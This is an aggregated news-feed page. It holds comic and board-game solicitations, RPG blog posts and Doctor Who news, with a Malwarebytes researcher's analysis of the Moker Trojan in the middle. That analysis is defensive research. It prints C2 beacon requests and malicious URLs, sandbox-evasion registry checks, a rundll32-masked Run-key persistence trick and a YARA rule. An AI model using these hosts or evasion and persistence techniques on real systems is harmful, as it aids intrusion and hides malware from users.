  • Their songs may be better, but the Misfits have lost their label and nobody will touch them in the music business. On the ropes and desperate to get back on top, they’re forced to consider the worst case scenario… A MISFITS REALITY TV SHOW. Though it promises the chance to get them back in the spotlight, it comes with a heavy, privacy-destroying price.
  • TPB • FC • $19.99 • 120 pages • ISBN: 978-1-63140-930-1
  • Advance solicited for August release!
  • “The good news is that IDW is all about giving people the Jem And The Holograms they really wanted.” –A.V. Club
My Little Pony: Friendship is Magic #56—Cover A: Agnes Garbowska
  • Christina Rice (w) • Agnes Garbowska (a & c)
  • “Wings Over Yakyakistan” part 2 of 2. The dragon invasion of Yakyakistan continues and Spike and Pinkie Pie must find an unusual way to make peace before it’s too late!
  • FC • 32 pages • $3.99
My Little Pony: Friendship is Magic #56—Cover B: Sara Richard
  • Christina Rice (w) • Agnes Garbowska (a) • Sara Richard (c)
  • FC • 32 pages • $3.99
  • Peace in Equestria hangs in the balance!
  • Variant cover by Mary Bellamy!
My Little Pony: Legends of Magic #4—Cover A: Brenda Hickey
  • Jeremy Whitley (w) • Brenda Hickey (a & c)
  • The legend of Flash Magnus is revealed as a courageous act is needed to overcome an out-of-control storm that threatens Griffonstone!
  • FC • 32 pages • $3.99
My Little Pony: Legends of Magic #4—Cover B: Zachery Sterling
  • Jeremy Whitley (w) • Brenda Hickey (a) • Zachery Sterling (c)
  • FC • 32 pages • $3.99
  • A perilous path for Pegasi!
  • Variant cover by Trish Forstner!
My Little Pony: The Movie Prequel #2—Cover A: Andy Price
  • Ted Anderson (w) • Andy Price (a & c)
  • As My Little Pony: The Movie nears, discover the new characters that will change the course of Pony history in this series! In this issue, an eccentric group takes to the skies on the search for adventure and treasure!
  • FC • 32 pages • $3.99
My Little Pony: The Movie Prequel #2—Cover B: Tony Fleecs
  • Ted Anderson (w) • Andy Price (a) • Tony Fleecs (c)
  • FC • 32 pages • $3.99
  • Humor and danger abound in this issue!
  • Variant cover by Kaori Matsuo!
Mickey Mouse: Darkenblot
  • Andrea “Casty” Castellan, Jonathan Gray, Lorenzo Pastrovicchio (w & a) • Lorenzo Pastrovicchio (c)
  • The future is now! The high-tech city of Avantgarde has a cutting-edge robot police force–but it’s just become the Phantom Blot’s deadly private army! Can Mickey brave high-tech horrors to stop his old foe? Or will Avantgarde decide Mickey is part of the problem? Omigosh!
  • Collects IDW’s Mickey Mouse issues #16–18.
  • TPB • FC • $12.99 • 124 pages • 6” x 9” • ISBN: 978-1-63140-932-5
  • Advance solicited for August release!
  • “These stories are great at showcasing characters we don’t see much of in America.” —Bleeding Cool
Uncle Scrooge #28—Cover A: John Loter
  • Romano Scarpa, Thad Komorowski (w) • Romano Scarpa (a) • John Loter (c)
  • “The Bodacious Butterfly Trail,” Part 2 of 2! A centuries-old bug with a built-in treasure map is leading Scrooge McDuck to fortunes untold—but now the terrible Beagle Boys might be one step ahead!
  • FC • 32 pages • $3.99
Uncle Scrooge #28—Cover B: Daniel Branca
  • Romano Scarpa, Thad Komorowski (w) • Romano Scarpa (a) • Daniel Branca (c)
  • FC • 32 pages • $3.99
  • Continues this beloved series’ legacy numbering at #432!
  • Concluding the USA debut of a classic Golden Age tale by Disney legend Romano Scarpa!
  • Variant cover by Marco Mazzarello!
Walt Disney’s Christmas Classics
  • Frank Reilly (w) • Floyd Gottfredson; Manuel Gonzales; Floyd Norman; John Ushler (a) • Various (c)
  • A delightful book for Disney fans of all ages. The Disney Christmas newspaper strip debuted in 1960 with “Peter Pan’s Christmas Story,” in which Captain Hook tries to sabotage Christmas. It was such a success that new stories were created yearly, each self-contained, each featuring characters from another animated movie, and each leading up to Christmas Eve and Santa off to deliver his presents. The “Disney-villain-wants-to-spoil-Christmas” plot was exploited with inventive variations each year. Stories include “Cruella’s Very Furry Christmas,” “Snow White’s Christmas Surprise,” “Dumbo and the Christmas Mystery,” “Cinderella’s Christmas Party,” “The Three Little Pigs’ Christmas Story,” and many more. All 28 special holiday stories are collected in a book for the first time.
  • HC • FC • $39.99 • 228 pages • 11” x 8.5” • ISBN: 978-1-68405-006-2
  • Advance solicited for September release!
  • A new perennial classic! Disney holiday newspaper strips to enjoy every year!
Walt Disney’s Comics and Stories #739—Cover A: Massimo Fecchi
  • Lars Jensen, David Gerstein (w) • Flemming Andersen, Daan Jippes (a) • Massimo Fecchi (c)
  • “Nest of the Demonbirds!” By popular demand, Donald Duck is yanked back into the Tamers of Nonhuman Threats—just in time for a hideous (and slightly hilarious) battle with feathered, ferocious freaks of nature!
  • FC • 48 pages • $5.99
Walt Disney’s Comics and Stories #739—Cover B: Walt Kelly
  • Lars Jensen, David Gerstein (w) • Flemming Andersen, Daan Jippes (a) • Walt Kelly (c)
  • FC • 48 pages • $5.99
  • Donald and Fethry have a new mission with the Tamers of Nonhuman Threats—courtesy of fan favorites Lars Jensen and Flemming Andersen!
  • New format—quarterly schedule, 48 pages!
  • Enjoy a classic cover by the legendary Walt Kelly (Pogo) on our subscription variant!
DuckTales #0—Cover A: Marco Ghiglione
  • Joe Caramagna (w) • Gianfranco Florio, Paolo Campinoti, Andrea Greppi, Roberta Zanotta (a) • Marco Ghiglione (c)
  • DuckTales (woo-hoo) returns! Featuring beloved characters like Uncle Scrooge, Donald Duck, and Huey, Dewey and Louie, this new #0 issue is the perfect jumping on point for fans old and new in anticipation of the brand-new series coming Summer 2017!
  • Experience the wackiest, quackiest hijinks in two brand-new (Duck) Tales!
  • FC • 32 pages • $3.99
DuckTales #0—Cover B: Marco Ghiglione
  • Joe Caramagna (w) • Gianfranco Florio, Paolo Campinoti, Andrea Greppi, Roberta Zanotta (a) • Marco Ghiglione (c)
  • FC • 32 pages • $3.99
  • The animated series has already been greenlit for a second season!
  • A full DuckTales series coming soon from IDW Publishing!
  • Variant cover by Marco Ghiglione!
Tangled: The Series: Adventure is Calling
  • Scott Peterson & Various (w) • Ivan Sharvin, Ludmila Steblianko, Aleaya Baarsukova & Various (a) • Diogo Saito (c)
  • Heed the call for adventure, with all your favorites from Disney’s hit animated show! Gorgeously illustrated stories starring Rapunzel, still finding her way in the kingdom of Corona, with Eugene at her side! But will she be able to be a princess, make her family happy, and ALSO follow her adventurous heart?
  • TPB • FC • $9.99 • 72 pages • ISBN: 978-1-68405-198-4
  • Featuring original stories, plus one adaptation of the hit television show!
  • Tangled: The Series airing regularly on the Disney Channel, with Mandy Moore as Rapunzel and Zachary Levi as Eugene—the same cast as the feature film!
  • Advance solicited for August release!
Sh*t My President Says: The Illustrated Tweets of Donald J. Trump
  • Shannon Wheeler (w & a & c)
  • Some people are saying, I don’t know, you tell me, but a lot of people are saying this is the greatest book of the year. This guy, Shannon Wheeler, he draws these cartoons for the New Yorker, MAD, the Onion—he’s very, very, good, okay? Now he’s illustrated the most incredible tweets. Wow! You won’t believe what he does with these tweets. I mean, these tweets changed the world, folks. It’s true! It’s very true. EVERYONE is going to want this book — even the haters and losers (Sad!).
  • HC • BW • $15.99 • 120 pages • 5” x 6.5” • ISBN: 978-1-60309-410-8
Spacebat and the Fugitives (Book One): Tacos at the End of the World—CERTIFIED COOL
  • Chris Sheridan (w & a & c)
  • Spacebat, the galaxy’s greatest misfit, is pressed into service by three children to battle robots, psychics, and even the very laws of nature to stop a mad scientist, his army of ill-mannered robots, and (worst of all), a universe-bending machine.
  • FC • 120 pages • $14.99 • 10.24 x 7.25” • ISBN 978-1-60309-414-6
  • Romp across reality in a wide-ranging escapade for all ages from acclaimed cartoonist Chris Sheridan (Motorcycle Samurai, Plants Vs. Zombies), featuring bold lines, quirky characters, outer-space adventures… and tacos.
Korgi: Short Tails— Cover A: Christian Slade—CERTIFIED COOL
  • Christian Slade (w & a & c)
  • Korgi: Short Tails is a 48-page comic book collecting all seven Korgi stories from Free Comic Book Day, together with a brand-new adventure called “Cloud Cat.” A robot loses its head, finger-puppets battle, a dragon learns to breathe fire, and Sprout the Korgi (of course) stuffs himself with delicious treats! Slade’s lovingly detailed pen-and-ink drawings bring his fantasy world to life in small slices, all bound up within a new fully-painted cover.
  • B&W • 48 pages • $4.99
Korgi: Short Tails— Cover B: Christian Slade
  • Christian Slade (w & a & c)
  • B&W • 48 pages • $4.99
  • Celebrate the 10th anniversary of Christian Slade’s heartwarming Korgi series!
  • “Guaranteed to be loved by children. Its Disney-esque beauty and Bone-like comic timing and fantasy adventure are thoroughly enjoyable, and Slade’s black-and-white draftsmanship is impeccable.” — The AV Club
Superf*ckers Forever—CERTIFIED COOL
  • James Kochalka (w & a & c)
  • Jack Krak is Back! After kind of destroying the world (whoops!), the wonderfully profane and destructive Superf*ckers are brought back to life to hang out, make out, punch each other out, and generally cause a ruckus. But when their leader, SuperDan, insists on their help in rescuing an old friend still trapped in Dimension Zero will it lead to the SuperF*ckers return to glory, or will they remain selfish jerks? Collecting all five issues of Superf*ckers Forever, the first-ever Superf*ckers comic series by creator James Kochalka, and featuring back-up stories by acclaimed indie creators!
  • TPB • FC • $17.99 • 128 pages • ISBN: 978-1-68405-089-5
  • Advance solicited for August release!
  • “Crashing through the threshold between stupidity and genius.” —Paste Magazine
Teenage Mutant Ninja Turtles Showdown: Bebop & Rocksteady
  • Daryl Andrews & Adrian Adamescu (d) • Various (a) • Robert Atkins (c)
  • Heads up Turtles, Bebop and Rocksteady have invaded the New York City Sewers! You’ll need to act fast to save your friends from their clutches in this semi-cooperative board game. Use your knowledge of the sewers to work as a team while trying to out think, out maneuver, and outplay Bebop and Rocksteady. In Teenage Mutant Ninja Turtles Showdown: Bebop & Rocksteady you’ll face off against two of your deadliest foes, in the most precarious setting yet.
  • 2-4 players • Playable from ages 10+ • 30 minutes • MSRP $29.99 • UPC: 8-27714-01273-6
  • A sewer crawling, Tile-Laying Board game of head-to-head combat!
  • First in an all-new series of standalone board games featuring the heroes and villains of TMNT!
Outpost: Siberia
  • Jon Gilmour & Daryl Andrews (d) • Ron Joseph (a) • Matthew Sweeney (c)
  • Welcome to Outpost 1, an observatory in the isolated frozen tundra of Siberia! You and your team have been studying the area, but last night, a massive storm set in, bringing with it a pack of nightmarishly strange creatures. Now, trapped by the weather and these beasts, your crew’s only hope is to use your meager resources to defend yourself and wait out the storm. Ration carefully and you may see the sun again. Designed by Jon Gilmour (Dead of Winter) and Daryl Andrews.
  • 2-5 players • Playable from ages 12+ • 30 minutes • MSRP $19.99 • UPC: 8-27714-01271-2
  • A cooperative card game of survival at any cost!
  • First in a series by premier game designer Jon Gilmour (Dead of Winter)!
  • Advance solicited for August release!

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Elusive Moker Trojan is back

Malwarebytes - Fri, 04/21/2017 - 18:44

Some time ago we observed a rare, interesting malware dropped from the Rig-v EK. Its code was depicting that it is written by professionals. Research has shown that it is a sample of Moker Trojan that was discovered in 2015 (read more here). However, for a long time, we could not find a sample with working CnC in order to do a deeper research. Finally, we found such a sample – this article will be a deep dive in its capabilities.

Analyzed samples

Downloaded modules:



Reference samples (from 2015)

Distribution method

We found Moker Trojan distributed via exploit kits – in malvertising campaigns, as well as dropped from the hacked sites. Example – Rig-v EK dropping Moker:

Behavioral analysis

The malware injects itself into the svchost, and then contacts the CnC server.

Network communication

The communication is encrypted. The typical way of beaconing is to send the request to the address: <gate_name>.php?img=<number>
An example of the sent request:

GET /nnnn04722.php?img=1 HTTP/1.1 User-Agent: Mozilla Host: bitmixc.ml

The server responds with encrypted content (the bot saves it in a registry key). Then it injects itself in other applications and sends further requests, including the data of the infected machine, i.e.:

GET /nnnn04722.php?page=<computername><windows_version>_<disk_id>&s=<number>p=<number>.<number>&err=<number>.<number>

In the below case, the response turned out to be a PE file (an updated version of the bot) obfuscated by XOR with a character ‘c’.

The server responds either by sending some encrypted content or a number:



Moker achieves its persistence by adding a Run key in the registry. This method may look very simple at first. However, the authors of the malware hid the real executable behind a legitimate Microsoft application – Rundl32.exe. Thanks to this trick, it is much harder to notice it – a popular tool used to examine persistent applications, Sysinternals’ autoruns, does not show such keys by default, assuming that they are harmless. (Viewing them can be enabled by clearing the default option “Hide Windows Entries”.)

The sample of Moker is dropped in the current user’s home directory:

If we take a closer look at the sample, we can see that it has been slightly modified in comparison to the original one – some encrypted information has been removed:

As it turned out after the further research (see in the part “Inside”), those bytes contains the CnC address, prefixed by a special tag. The information removed from the executable is not lost but stored elsewhere – in one of the registry keys created for storing the malware configuration.

Other keys created by the malware are saved under “..\CLSID\{448D3B34-8D3B-3B34-8D3B-48D3448D3B34}”:

The full dump of the registry entries is available here.

As it turned out, the encrypted CnC address, that was removed from the executable, is persisted in  the registry, inside the key “5”:

Compare with the data from inside the original sample:

Another key, “6”, stores a PE file (the executable dumped from the registry is available here: 91f754c3fc475aed93e80575bb503c73).

The key “7” stores the data that was downloaded from the CnC after the initial beacon:

Compare with the content of the server response:

The key “10” contains the name of the downloaded module:

The new module is stored in ProgramData:

Its persistence is added also with the help of a Run key (in a similar way as the previously described case):


Moker consists of two main modules. The Stage 1, that is a downloader, and the Stage 2, that is a DLL containing the core malicious features. The downloader injects itself, along with the unpacked shellcode, into the svchost.exe. The screenshot below shows an example of the infected memory pages inside the svchost.exe:

The injected shellcode is responsible for sending the initial beacon to the CnC. Then, if the CnC is active, the main DLL is downloaded and injected into the other processes. During the tests, all 32-bit applications running in the Medium integrity mode have been infected by the Moker DLL.

Stage 1

Let’s dive in the code, starting from the dropper – that is the Stage 1. This is the binary used for initiating the full infection process – originally delivered by exploit kits. Every sample comes packed by some crypter (crypters are different for various samples so we will not describe this layer here).

After defeating a stub of a crypter, we get another PE file – with a layout typical for Moker. The section .text, that – in normal cases is the first section of PE, in case of Moker comes as second:

Section .data is very small in the raw file, but it is expanding in the virtual image. So, we can suspect that something more is unpacked there:

Obfuscated execution flow

The internal structure of this module is very interesting. It has self-modifying code with execution based on VEH (Vectored Exception Handers). Execution starts from installing the handler:

Instructions IN are used in various places in the code. Their role is to disrupt the continuity of the execution by triggering an exception. Then, execution is redirected to the previously installed handler. Depending on the variant of the instruction that triggered the exception, the context is changed in one of the few ways:

Context patching is used to obfuscate the execution flow. Thanks to this trick, static analysis of the code is almost impossible – all changes on the fly.

The JMP EAX (first case in the exception handler) is used to deploy API calls. It is triggered by IN AL, <BYTE> (see the example below):

That’s why, if we trace the API calls made by the application, we can notice that most of them are made from the same address in the code – only the target address is changing.

Not only the execution flow but also the code itself is dynamically modified. We can find the application calling very often VirtualAlloc:

Some pieces of the encrypted code are copied from the main executable into this dynamically allocated memory:

Then, they are decrypted by a dedicated function:

The revealed code is almost ready – except for the addresses of calls, that needs to be filled. You can see in the following fragment, that temporarily the CALL points to its own address:

This is fixed in another step – the decoding function returns into another code fragment, that modifies the addresses:

Till the new piece of code is fully revealed and ready to be called (see the fixed CALL target):

When the modifying function returns, execution falls into the line that performs a jump into the new code:

The revealed code makes another layer – again allocating, decrypting and calling code.

The code chunks that provide some real functionality are always deployed via this type of proxy – that makes execution flow more complicated.


The dropper starts execution from the defensive checks, ensuring that it is not run in the controlled environment. The following registry keys are searched:

"HKEY_LOCAL_MACHINE\\HARDWARE\\ACPI\\DSDT\\VBOX__" "HKEY_CURRENT_USER\\Software\\Trusteer\\Rapport" "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" -> SysAnalyzer

If all the checks passed, the application reads it’s own file from the disk and searches there for some typical markers. An example of the search:

The important thing is, those markers are present in the outermost layer – the original PE file (not the unpacked one). Thanks to this feature, knowing them allowed to create a very simple YARA rule to identify Moker:

rule MokerTrojan { strings: $key = {3D FF 24 8B 92 C1 D6 9D} condition: IsPE and all of them }

The mentioned markers are used as indicators, after which the encrypted CnC address is stored.

Another feature, typical for Moker is mutex in the following format:


The mutex prevents the application from being run more than once.

After the environment checks are passed, Moker unpacks the shellcode, that has capabilities of a downloader, and injects it (along with the initial PE file) into svchost.

Stage 2

If the main DLL was successfully downloaded by the Stage 1, it is being further injected in the applications. Example – Moker DLL injected into jusched (Java Update Scheduler):

This module is responsible for all the malicious actions performed by the malware – also, it actively communicates with its CnC. Below you can see a sample POST request sent from inside the injected DLL:

If we try to dump the injected DLL, we can see, that it’s imported table has been destroyed – all the names of the DLLs and imported functions are erased. However, using a dedicated tool I was able to recover it (see more here).

The DLL provides various features typical for RAT (they didn’t chang from the latest analysis in 2015, provided here).

Code of the core DLL is written in a decent way, suggesting professionalism of the authors. However in contrary to the dropper, the obfuscation used here is rather simple. Most of the strings and API calls are not obfuscated, or obfuscated in a trivial way.

Looking inside the code, we can see references to the registry keys, observed during behavioral analysis, i.e.:

The DLL communicates not only with the CnC, but also with it’s other injected modules, using local sockets and named pipes. An example below – starting a local socket for listening:

The commands read from the ipe are parsed and executed:

Basing on the command id, malware can be requested over pipe to execute some command or to create and save a screenshot:

Among the interesting features of this part is, it also provides access to it’s features via simple GUI. It may be used for local tests, or. in case if the attackers prefer to access the victim machine via Remote Desktop.

CnC servers

List of the found CnC servers (one address per one sample):

http://bitmixc.ml/nnnn04722.php http://bitmixc.ml/msnwiwoq25.php http://matthi.tk/abb6a388.php http://sally33.cf/23mmmdw3.php http://siri5.ml/www9.php Conclusion

Moker is a rare malware, but written by very skilled authors. Compilation timestamp of the core module is 2015-05-03 00:40:11. This suggests that since its moment of appearance, still the same samples are in circulation, only they are repacked by different packers. This fact leads us to the conclusion that the tool have been produced and sold on black market in 2015, after that possibly abandoned by the original developers.


http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network – Ensilo on Moker (from 2015)

https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/ – part 1

https://breakingmalware.com/malware/moker-part-2-capabilities/ –  part 2

This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going in details about malware and sharing threat information with the community. Check her out on Twitter @hasherezade and her personal blog: https://hshrzd.wordpress.com.


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On City Procedures VIII

Hack & Slash - Fri, 04/21/2017 - 17:34
At what price influence? At what cost power?

At some point, characters may aspire to more than just the list of activities given. They may wish to purchase a house or land, raise troops, start a religion or a construction project. Such activities may not be done on their own without attracting the attention of rulers who will go to  great lengths to stop such activities. So how to accomplish them?

Get permission, of course!

Easier said then done. In order to acquire leverage, you may go the route of "find someone who wants a quest done, and use the completion of that quest to get your favor" and that's fine and traditional. But what if you have a campaign in media res with more side quests then you can already track? What if players want to change an existing structure instead of building a new one?

Enter the concept of influence.

InfluenceThere are only a few areas of influence. Commerce/Economic, Military Power, Nobility, and Arcana/Religious. For every 1,000 people in a city, there is one 3x3 board of minor influence. For every 10,000 people in the city, there is one 3x3 board of major influence. For every 100,000 people in the city, there is one 3x3 board of grand influence. Waterdeep for example, has a population of 130,000, providing one grand board, 13 major boards, and 130 minor boards. Most cities will be much smaller than Waterdeep.

Note that there are only 9 squares on a board, and always at least 10 factions who want placement on it.

Players cannot see the influence boards, and have no idea before they act what the boards look like. A player may spend one month, with a successful relevant skill roll (spying, survival (urban), etc.) to determine the status of one minor board, which they can then see. One person devoted to the task each month enables them to continue to keep abreast of what is happening on the board.

Gaining Influence
A character may spend 1,000 gold and 1 week gaining one square of minor influence. This represents politicking, meeting people, public works, intimidation, advertising, etc.–whatever  generates influence.  If more than 5 squares on a board are acquired two things happen. They gain a point of leverage for that level (minor, major, grand) and they are granted one square of influence on the next highest board. If a character possesses at least one point of minor leverage, they may spend 10,000 gold and 1 week to gain a square of major influence.

The relevant skill is rolled (bureaucracy, survival (urban), arcana, religion, persuasion, history, etc.) depending on the type of influence one wishes to acquire. This determines the order everyone selects influence. Then Dungeon Master adds their influence to a board at the end of a week in the order that they were rolled.

Players may also attempt to acquire influence from other actors also already on the board. They do this by individual negotiations with the person possessing the influence. Consider that the possessor of that influence will expect or fear loss of somewhere between 1,000-5,000 gold pieces of value per point of influence acquired. (This doesn't necessarily have to be in money. Blackmail, threats, completing tasks, etc. can all be used).

At the end of the month, all factions on all boards of all levels, remove one square of their influence. There is a 1 in 10 chance per board that it is completely cleared (due to a death, random event, or change in power structure).

Boards are, in general, filled before the player characters arrive. You do not have to play out every actor in the city, though if the characters have an ally or a foil or nemesis, they may work to block the character's progress. Certain positions (harbormaster, noble, merchant, priest, captain, general, etc.) automatically grant one point of minor leverage every month, without board positions. They may translate this minor leverage into selecting influence squares.

Or, the leverage may be spent. Note that for many of these, it is required that you spend the leverage each month to maintain the benefit.

Minor Leverage: Own or run a business employing up to 10 people. Purchase or sell trade goods in bulk.
Major Leverage: Make large purchases (>100,000 gp). Own a trading vessel. Own or run a business employing up to 100 people.
Grand Leverage: Own or run a business employing unlimited people.

Military Power
Minor Leverage: Employ more than 10 hirelings. Have someone arrested. Have someone freed.
Major Leverage: Employ mercenaries.
Grand Influence: Request military aid.

Minor Influence: Purchase existing property.
Major Influence: Purchase land or build new property. Acquire a standard for an informal group or company. Gain a minor title.
Grand Influence:  Form an official guild. Become a member of the nobility.

Minor Influence: Practice magic in the city.
Major Influence: Gain a license to employ magic commercially. Gain a license to have a group of religious followers.
Grand Influence: Be allowed to construct a school or church (must also have nobility influence to be allowed to do so)


Obviously such a system is both abstract and scaleable. But in the use case of cities, this influence is almost always associated with a faction. "The player character party", "the thieve's guild/mob" "noble faction A", "the traders' guild", etc.

It is expected that players may be able to influence one or two minor boards themselves, but it will be necessary to ally with other major influencers in order to acquire major leverage.

Because power corrupts, society's demands for moral authority and character increase as the importance of the position increases. -John Adams

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X-O MANOWAR #2 preview

First Comics News - Fri, 04/21/2017 - 16:30

X-O MANOWAR (2017) #2
Written by MATT KINDT
Cover A by LEWIS LAROSA (FEB172049)
Pre-Order Edition Cover by TOMAS GIORELLO (JAN172115)
Interlocking Variant Cover by MICO SUAYAN (FEB172052)
X-O Manowar Icon Variant by KAARE ANDREWS (FEB172053)
Blank Cover also available (FEB172051)

They asked for war. He’ll give them death.

Deep within the far reaches of space, the dogs of war have found Aric of Dacia. Conscripted into an alien army and forced into combat, Aric must enter an alien battlefield unlike any he’s faced before. His only hope for survival is also the source of his greatest rage – the living suit of armor known as X-O Manowar.

Can Aric still embrace the violence within? Get ready, because the most brutal fight in X-O Manowar’s life is about to begin!

$3.99 | 32 pgs. | T+ | VALIANT PREMIUM | On Sale APRIL 26 (FOC – 4/3/17)


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First Comics News - Fri, 04/21/2017 - 16:29

Cover A by CARY NORD (FEB172054)
Cover B by DAVID MACK (FEB172055)
Character Design Variant by DAVID MACK (FEB172057)
Variant Cover by ADAM GORHAM (FEB172058)
Variant Cover by DAVE JOHNSON (FEB172059)
Blank Cover Also Available (FEB172056)

Valiant’s critically acclaimed, 10-time sold-out magnum opus returns with a brand-new journey into myth and mystery, from comics master Peter Milligan (Shade, The Changing Man) and incendiary artist Juan José Ryp (BRITANNIA)!

Fifty thousand Romans stand on their feet, watching from the rafters of the coliseum with captured breath as Achillia, a gladiator unlike any that Rome has seen before, faces incredible odds – one lone warrior against five of Rome’s greatest. Such is the tradition, when a female gladiator enters the fray. When the carnage is complete, the coliseum roars its approval as Achillia stands victorious. Now, only one match away from winning her freedom, she has begun to gain renown. The women of Rome, suppressed by their husbands and fathers, have noticed. The men of Rome, husbands and fathers to a growing horde of women entertaining ideas of independence, have noticed as well.

On the other side of Rome, a strange mystery swirls through the Palatine Hill. In the dead of night, down winding alleys, Rome’s elite swear that they see visions of a blood-soaked Apollo walking the city…visions that are driving them mad. Even more are becoming sick with weird fever god-dreams. Panic ensues in the city. The Chief Vestal, Rubria, is arrested by Emperor Nero and threatened with crucifixion unless the deadly curse that’s fallen on Rome is lifted. She asks Antonius Axia, hero of Britannia and Rome’s only detective, for help. She offers only one clue…the gladiator Achillia.

$3.99 | 32 pgs. | T+ | VALIANT PRESTIGE | On Sale APRIL 26 (FOC – 4/3/17)


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Through The Green Door - The Islands of Purple Putresence - An Astonishing Swordsmen & Sorcerers of Hyperborea Actual Play Event

Swords & Stitchery - Fri, 04/21/2017 - 16:08
Roman senate door by antmoose So last night I got together with Steve & his players for a bit of Astonishing Swordsmen & Sorcerers of Hyeprborea. This isn't my regular group of players so I was kinda with my back to the wall. Yeah well I did have couple of aces up my sleeve in the fact that I've been running a  weekly The Islands of Purple Putrescence game powered by the Astonishing Needleshttp://www.blogger.com/profile/11243274667834930867noreply@blogger.com0
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Podcast - Save of Die! #134 - All About Elves

Tenkar's Tavern - Fri, 04/21/2017 - 15:47

You know how I've mentioned that my podcast listening has suffered in retirement. Well, here's the kicker - Episode #134 of Save or Die! released two weeks ago and I haven't mentioned it until now - and I'm a damn host!

Seriously, I need to work on my time management skills. Heh.
DM James, DM Glen, and TM Erik talk about those pointy-eared tree huggers: Elves! The three old grogs talk about how to add a little spice to your immortal spell-slingers and go beyond the traditional Fighter/Magic-User mix-up that are basic race-as-class elves. From the alien mindset of elves to their unique take on magic and magic items, James, Glen, and Erik throw ideas at you about how to make your elder woodland folk something original at the gaming table.Go! Give it a listen. You know you need more of that unmistakeable New York accent. Listen long enough and you'll be able to read The Tavern with my voice in your head. Now THAT'S a scary thought ;)
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Pin Ups and Link Love: My Favourite Things This Week

Knitted Bliss - Fri, 04/21/2017 - 15:01


Anyone else feel like the weeks are cruising by at warp speed? Between work, writing, 3 rounds of family visits and two birthday parties for Lila (the family one last weekend and the ‘friends’ one this weekend), plus the long weekend I feel like I’m gulping for air most days. But hopefully after this weekend the

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Every Day Crossbody Bag

Moogly - Fri, 04/21/2017 - 14:22

Adulting is hard. You gotta go to the bank, the post office, the grocery store, the school, work, it never ends! But the Every Day Crossbody Bag is ready to go with you on every adventure, leaving your hands free to deal with everything else life throws at you. And it’s quick enough to make [...]

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Big Finish&#8217;s Dethras is a Bonkers but Brilliant Sci-fi Romp

Blogtor Who - Fri, 04/21/2017 - 14:00

Change is here. Change is there. Change is all around us. Things must change and adapt otherwise we would not get anything new. And a change of sorts will be happening very soon in the world of Doctor Who, as the 12th Doctor, Peter Capaldi, begins his final series of adventures before the inevitable occurs […]

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Gygax's Killer Die

Zenopus Archives - Fri, 04/21/2017 - 12:20
Gary's EN World avatar featuring his Futurama character
As a follow-up to yesterday's post on the Marked 20-sided Die, here are some quotes from Gygax on his own Marked d20. Thanks to T. Foster at the Mystical Trash Heap blog for bringing this to my attention.

"Those low-impact d20s did get pretty round in short order--well short order in terms of gaming time. Rob Kuntz had one that would stand on a point now and again. I still have a couple that I use when playing OD&D as the DM. One with gray faces on 10 sides is a "killer" die that comes up on those faces a lot--the 11-20 range, of course! Can't find it now, but it's likely in a box of old dice somewhere in the basement here. I have a second one with red faces that's as good for the monsters' rolls, of course" (EnWorld Q&A post)

"As it happens I have quite a number of the old low-impact dice around here somewhere. The points on the d4 were very sharp but wore down quickly. Rob had a d20 that would stand on a worn point about one roll in 50 : )"

"Somewhere I lost my d20 with half the faces colored gray. It was my "killer die" that rolled an inordinate number of 20s, and the players really hated it : )" (EnWorld Q&A post)

Following this, T. Foster wrote
"I played with you in "Necropolis" at Glathricon (in Evansville, IN) in 1988 and am pretty sure I encountered your infamous 'killer' d20 -- it was white, numbered 0-9 twice, and rolled awfully well (for you, badly for us :) )."

2/6/04 - in response to T. Foster
"It was either my gray or red "killer die," undoubtedly. It has since sent a large number of adventurers to their doom when rolled on behalf of my OD&D game "Old Guard Kobolds." The ninth party of six or more 2nd level characters fell to them at JanCon last month" (EnWorld Q&A post)

(A few minor edits to Gary's comments to correct obvious typos)
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Doctor Who: ‘Smile’ Spoiler-Free Preview

Blogtor Who - Fri, 04/21/2017 - 10:45

Throughout series ten, we’ll bring you a brief, spoiler-free look at the episode to come. This week, a ‘Smile’ costs nothing…but gives death. Frank Cottrell-Boyce’s ‘Smile’ takes on a decidedly more sci-fi tone than his previous outing. Nevertheless, a rich vein of the fairy tale runs right through the plot thanks to some weapons-grade Twelfth Doctor narration. […]

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Lethbridge-Stewart Adventure &#8216;The Flaming Soldier&#8217; Available To Pre-Order Now From Candy Jar Books

Blogtor Who - Fri, 04/21/2017 - 07:10

Candy Jar Books are the publishers of the Lethbridge-Stewart books, a Doctor Who spin-off series, which is endorsed by the creators and their estates, of everyone’s favourite Brigadier, Lethbridge-Stewart. Returning for another adventure in, “The Flaming Soldier”, written by Christopher Bryant and cover art by Richard Young, Brigadier Lethbridge-Stewart is investigating a series of cases […]

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